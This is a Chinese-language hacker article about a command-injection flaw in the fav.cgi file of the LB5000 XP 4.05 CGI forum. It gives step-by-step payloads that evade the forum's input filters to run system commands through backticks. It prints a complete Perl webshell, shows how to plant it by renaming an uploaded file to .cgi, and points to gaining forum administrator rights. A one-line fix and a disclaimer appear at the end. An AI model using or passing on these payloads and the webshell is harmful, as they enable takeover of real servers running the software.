LB5K,别来无恙否?------再谈LB5000 XP漏洞作者:[ITS]Jambalaya<Jamblaya@77169.com>
论坛:www.itaq.org
站点:www.hackart.org&&www.77169.com
#########仅以此文献给养育我多年的姥姥,############
#########并想对她说:“姥姥,您辛苦了!”############
序:自从上次读完LB5000的源代码后,一直想把LB5000的源代码系统的看一遍,但是一看就觉得头大,虽然好友SystEM32反复激励,我也没有坚持看下去,总是半途而废。再次捧起LB5000源代码还是由于一位叫云舒朋友的反面“激励”,让自己的懒惰一扫而空,再次捧起让我看着眼晕的代码,只为了证明自己。其实人总是这样,没有压力不抬头,没有动力不奋进,二者都具备的时候,你就会看到真实的自己了:)赌气的我从雷傲的网站上找到了最新的LB5的代码,开啃!
一、涉及版本:
LB5000是www.leoboard.com开发和维护的一款开放源代码的CGI论坛,也是国内使用较为广泛的论坛。漏洞涉及版本:LB5000XP4.05受此漏洞影响。,低于4.05的版本我没有作测试,有兴趣的朋友可以自行测试。
二、漏洞分析:
这次引起漏洞的是一个叫fav.cgi的文件,这个文件的功能是用来把自己喜欢的文章添加到个人收藏。里面因为没有谨慎的对待用户提交的代码,导致恶意用户可以通过构造语句绕开LB5的限制写入Webshell,继而操作整个主机。相关代码如下所示:
150 $file=(-e"${lbdir}memfav/close/$infilemembername.cgi")?"${lbdir}memfav/close/$infilemembername.cgi":"${lbdir}memfav/open/$infilemembername.cgi";
......
198 push(@catelist,$newcate."o");
......
208 open (FAV, ">$file");
209 print FAV "$catelist\t$favdescript\n";
210 print FAV "$intopic\t$inforum\tnormal\t$incate\t$currenttime\t\n";
我来简单解释一下,在正常情况下,我们要建立自己的收藏目录,而且可以把自己新建要收藏贴子的目录选为保密和公开,并且分别以自己的用户名保存在memfav/close和memfav/open下,如用户名为Jambalaya,我选择我的目录为保密,就会保存为../cgi-bin/memfav/close/Jambalaya.cgi,程序首先判断用户的文件是否为保密,从而选择目录,然后向文件中写入用户要收藏的文章ID。首先被写入的是你的新建目录的名字,后面有一个字母“o”,意思是open就是开放的意思,如果你选择的是保密(close),后面的字母就是"c"。新建目录的后面是这个新建目录的内容简介($favdescript)。然后紧跟着一个回车,再输入你选择的贴子号($intopic),第几论坛($inforum),新建目录名($newcate),现在的时间($currenttime)。如我们新建目录的名字是欢迎大家来www.itaq.org玩,收藏夹内容简介写我是Jambalaya,来自IT安全和Hackart,欢迎大家到itaq.org。随便选择一个贴子点击收藏,那么看看论坛是如何保存的,找到../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o >>我是Jambalaya,来自IT安全。(这里一个回车)
2 1 normal 欢迎大家来www.itaq.org来玩 944767971
这是用户的正常输入,一切看起来都没什么瑕疵,感觉很完美。就算我再目录处写入system @ARGV#的一个webshell,也会被后面回车下的一大堆垃圾所毁灭。而如果我只新建一个目录而不收藏任何文章,那会是什么样子呢?我们来试试看,我们只建立一个叫欢迎大家来www.itaq.org玩的目录,../cgi-bin/memfav/close/Jambalaya.cgi的文件,里面记录如下:
欢迎大家来www.itaq.org来玩o
正如你所见,回车已经消失了。。。在标题处输入System('dir f:\\')#,Yeah!看到F盘了!高兴么?先别高兴的太早,因为我们的攻击好没有开始,我为什么这么说呢?先看看到这几行代码?
......
if(-e "${lbdir}memfav/close/$infilemembername.cgi");
elsif($checked eq "newcate"){
&error("设置个人收藏&新目录名称不能为空!") if($newcate eq "");
&error("设置个人收藏&新目录名称不能多于 30 个英文字(15 个中文字)!") if(length($newcate) > 30);
.......
我们目录名的输入必须小于30字母,这条件有点太苛刻了,稍微试一下你就会发现,30个英文字母连浏览完目录的字数都不够啊!我又反复的看了看代码,注意到后面的目录简介和目录名只有一个TAB键,如果我们可以把两个输入连起来字数的限制就不是什么问题了,可是在简介前和目录后会加上">>"和“o/c”这样的东西,并且过滤了分号,而且>>前和o之间的东西是我不能控制其输入的,弄了半天我也绕不开这两个捣乱的东西,有点郁闷了!愣了一会,忽然想起小时候姥爷教我太极拳中的推手的时候,姥爷曾告诉我在不能消灭敌人的时候,就要学会去利用敌人----接力打力!!在0.01秒的发呆之后,一丝微笑浮现在了我的脸上。。。
怎么才能消除>>带来的语法错误呢?嘿嘿,利用要比毁灭来的轻巧。就去利用他给我们捣乱的这个东西试试看,我们构造这样的语句[如图1]:
$o=10,$o>>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
先在标题栏输入"$o=10,$"(没有引号),在简介栏里输入">>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#
"(没有引号),这样构造出来,在,../cgi-bin/memfav/close/Jambalaya.cgi里的语句就是$o=10,$o >>=1,$a=`dir f:\\myhome\\lbxp\\cgi-bin\\`,print $a#(友情提示:$a=后面是反引号,不是单引号),我简单解释一下,因为>>=是复合右移位,所以“$o=10,$o>>=1”成了一个简单的赋值语句,中间的tab不会给我们带来阻碍。反引号``可以用来执行系统命令。而语句之间我们用逗号表达式,逗号表达式会从左到右的执行赋值语句,直到最后一条输出语句,这样就避开使用分号。最后输出就达到我们的目的了[如图2],这回才是彻底的成功了,可以松口气了。
好了,我们基本上已经可以写入任何语句了,先来弄个webshell。上传一个包含webshell的txt文件,文件内容为:
#Jambalaya
#!/usr/bin/perl
binmode(STDOUT);
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
$_ = $ENV{QUERY_STRING};
s/%20/ /ig;
s/%2f/\//ig;
$execthis = $_;
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
system($execthis);
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
close(STDERR);
close(STDOUT);
exit;
我们知道他会保存在..\non-cgi\usr\1\1_贴子号。1是代表论坛板块的ID值,贴子号是贴子的ID值,我举个列子:把你的鼠标指向你上传文件的贴子就可以看到froum=1&topic=231,那么你上传的txt文件就是..\non-cgi\usr\1\1_231.txt。好了,我们用一条语句解决问题:$o=10,$o>>=1,$a=`ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt`,print $a#[友情提示:也可以用:$o=10,$o>>=1,system('ren f:\\myhome\\lbxp\\non-cgi\\usr\\1\\1_231.txt Jam.cgi')#],只要它不报错就成功了。在浏览器中输入www.target.com/non-cgi/usr/1/Jam.cgi?dir,OK了~~~~~~~~
你可以在cgi-bin下找到member的目录,然后把自己加成论坛管理员,具体操作可以去www.itaq.org看我的另一篇文章《千里之堤,毁于蚁穴-LB5000 XP漏洞再现》这里不再赘述了。我写了一个关于这个漏洞的脚本放在了论坛,有兴趣的朋友可以去看看:)
解决方法:其实解决方法可说可不说,我简单说一下吧,可以象LB5K曾经的解决方法一样,在目录的前面加上*#!&*这些特殊字符,然后再提取的时候将这些东西去掉就可以了。
我在文章中把整个漏洞说得很细,我只是想让大家知道其中的危害,并不是让大家去攻击别人。我们也可以看到LB5历经磨难,虽然出了几个bug,但并不代表LB5不是一个优秀的论坛,相反,它日趋完善。没有一个论坛没有BUG,就好像没有一个人不犯错误一样。我们关注LB5也是希望她能够更加的完美,更加担得起“安全”这两个不寻常字的重量!祝LB5一路走好。。。
行文仓促,难免有错,还望高手能不吝赐教,也欢迎大家光临www.itaq.org交流技术。